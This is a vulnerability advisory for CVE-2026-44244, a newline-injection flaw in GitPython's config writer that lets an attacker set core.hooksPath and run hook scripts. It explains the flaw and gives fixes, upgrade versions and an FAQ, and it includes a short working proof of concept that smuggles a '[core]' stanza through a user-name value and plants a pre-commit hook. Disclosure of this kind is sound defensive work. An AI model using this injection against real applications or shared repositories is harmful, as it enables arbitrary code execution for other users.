CVE-2026-44244: GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath
GitConfigParser.setvalue() passes values to Python's configparser without validating for newlines. GitPython's own write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes authorname and authoremail directly to configwriter().setvalue() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
PoC (standalone, no MLRun required):
python import git, subprocess, os
repo = git.Repo("/tmp/testrepo")
with repo.configwriter() as cw: cw.setvalue("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")
r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", captureoutput=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks
os.makedirs("/tmp/hooks", existok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755)
repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=...
Tested on GitPython 3.1.46, git 2.39+.
Impact: This is persistent repo config poisoning. Any user who can supply authorname or authoremail to an application calling configwriter().setvalue() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.
Remediation: setvalue() should raise on CR, LF, or NUL in values rather than silently pass them through:
python import re
if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL")
Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.
Affected wherever configwriter().setvalue(section, key, userinput) is called with external input. GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their setvalue() call sites for externally influenced inputs.
Other sources
GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.setvalue() passes values to Python's configparser without validating for newlines. GitPython's own write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/GitPythonto a version that resolves this vulnerability.Fixed in 3.1.49 - Upgrade
Upgrade
debian/python-gitto a version that resolves this vulnerability.Fixed in 3.1.50-1 - Upgrade
Upgrade
GitPythonto a version that resolves this vulnerability.Fixed in 3.1.49 - Configuration
Modify/override GitPython usage so that calls to config_writer().set_value(section, key, user_input) (and underlying GitConfigParser.set_value) raise an error when the value contains CR (\r), LF (\n), or NUL (\x00), instead of silently accepting/normalizing them (rejecting is safer than stripping).
GitPython config_writer().set_value() / GitConfigParser.set_value() value validation for CR, LF, NUL = reject if value contains any of [\r\n\x00] - Compensating control
Audit application call sites that pass external input into GitPython config_writer().set_value(section, key, user_input) (e.g., any user-supplied author_name/author_email that later reaches .git/config) and ensure untrusted callers cannot influence these fields for shared repositories where later Git operations (commit/merge/checkout) may execute hooks.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44244?
CVE-2026-44244 has been classified as a moderate severity vulnerability.
How do I fix CVE-2026-44244?
To fix CVE-2026-44244, upgrade GitPython to version 3.1.49 or later.
What software is affected by CVE-2026-44244?
CVE-2026-44244 affects GitPython versions up to and including 3.1.48.
What type of vulnerability is CVE-2026-44244?
CVE-2026-44244 is related to improper input validation in the GitConfigParser component.
What are the consequences of CVE-2026-44244?
CVE-2026-44244 could allow attackers to manipulate configuration files by exploiting the newline handling.